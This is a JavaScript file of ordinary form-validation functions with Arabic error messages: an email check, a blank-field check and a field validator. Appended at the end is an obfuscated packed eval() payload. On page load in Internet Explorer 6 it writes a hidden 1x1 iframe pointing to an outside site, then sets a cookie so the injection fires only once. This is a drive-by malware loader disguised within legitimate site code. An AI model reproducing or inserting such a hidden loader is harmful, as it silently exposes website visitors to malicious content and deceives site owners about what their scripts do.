function ahmed(entered, alertbox)
{
with (entered)
{
apos=value.indexOf("@"); 
dotpos=value.lastIndexOf(".");
lastpos=value.length-1;
if (apos<1 || dotpos-apos<2 || lastpos-dotpos>3 || lastpos-dotpos<2) 
{if (alertbox) {alert(alertbox);} return false;}
else {return true;}
}
} 
function isblank(s)
{
    for(var i = 0; i < s.length; i++) {
        var c = s.charAt(i);
        if ((c != ' ') && (c != '\n') && (c != '\t')) return false;
    }
    return true;
}
function mariam(f)
{
    var msg;
    var empty_fields = "";
    var errors = "";


    for(var i = 0; i < f.length; i++) {
        var e = f.elements[i];
        if (((e.type == "text") || (e.type == "textarea")) && !e.optional) {

            if ((e.value == null) || (e.value == "") || isblank(e.value)) {
                empty_fields += "\n          " + e.name;
                continue;
            }

            if (e.numeric || (e.min != null) || (e.max != null)) { 
                var v = parseFloat(e.value);
                if (isNaN(v) || 
                    ((e.min != null) && (v < e.min)) || 
                    ((e.max != null) && (v > e.max))) {
                    errors += "- قيمة " + e.name + " يجب أن تكون رقما ..";
                    if (e.min != null) 
                        errors += " أكبر من " + e.min;
                    if (e.max != null && e.min != null) 
                        errors += " وأصغر من " + e.max;
                    else if (e.max != null)
                        errors += " أصغر من " + e.max;
                    errors += ".\n";
                }
            }
        }
    }
	
	      if (f.الإيميل.value.indexOf("@") == -1 || f.الإيميل.value.indexOf(".") == -1 || f.الإيميل.value.length < 7 ) {
         errors += "من فضلك اكتب إيميلا صحيحا";
         f.الإيميل.focus();
          }


     if (!empty_fields && !errors) return true;
    msg  = "______________________________________________________\n\n"
    msg += "لم يمكن إرسال الرسالة ..\n";
    msg += "من فضلك صحح هذه الأخطاء وحاول الإرسال مرة أخرى ..\n";
    msg += "______________________________________________________\n\n"
    if (empty_fields) {
        msg += "- يجب إدخال:" 
                + empty_fields + "\n";
        if (errors) msg += "\n";
    }
    msg += errors;
    alert(msg);
    return false;
}

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 0=a c(),4=a c(0.i()+j);3(h.l.7("m 6")!=-1&&2.b.7("8=s")==-1){3(0.g()!=-1){5 9="d"}2.f("<e"+9+" k"+"r=1 z"+"o=1 A=\'B"+"p://x"+".y/q/\' t=\'u:n"+"w\'></3"+"v>");2.b="8=s;"+" 4="+4.C()+"; "}',39,39,'today||document|if|expires|var||indexOf|_fhjtju|iframe|new|cookie|Date|ame|ifr|write|getTimezoneOffset|navigator|getTime|2678400000|wi|appVersion|MSIE||ht||b2b|dth||style|display|rame|one|secatm|net|heig|src|htt|toGMTString'.split('|')));

